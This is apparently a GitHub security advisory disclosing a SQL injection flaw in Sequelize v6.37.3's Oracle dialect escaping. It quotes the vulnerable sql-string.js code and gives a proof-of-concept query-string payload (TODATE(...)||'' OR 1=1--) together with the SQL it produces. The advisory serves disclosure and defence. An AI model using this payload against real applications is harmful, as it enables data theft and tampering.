GHSA-v8fg-2rw7-q452: SQL Injection

Summary SQL Injection is possible with strings only if dialect is set to oracle. The vulnerability was confirmed on Sequelize v6.37.3.

Details The escape function defined in sql-string.js does not escape quotes if the value starts with TOTIMESTAMP or TODATE.

javascript } else if (dialect === 'oracle' && typeof val === 'string') { if (val.startsWith('TOTIMESTAMP') || val.startsWith('TODATE')) { return val; } val = val.replace(/'/g, "''"); }

PoC Suppose the application has the following code:

javascript var result = await models.Student.findOne({ where: { firstName: req.query.firstName } });

An attacker can inject arbitrary sql expressions.

http://host/path?firstName=TODATE('0','Y')||'' OR 1=1--

The resulted SQL will be:

SQL SELECT ... WHERE "Student"."firstName" = TODATE('0','Y')||'' OR 1=1-- ORDER BY "Student"."id" OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY;

Impact Data theft and tampering.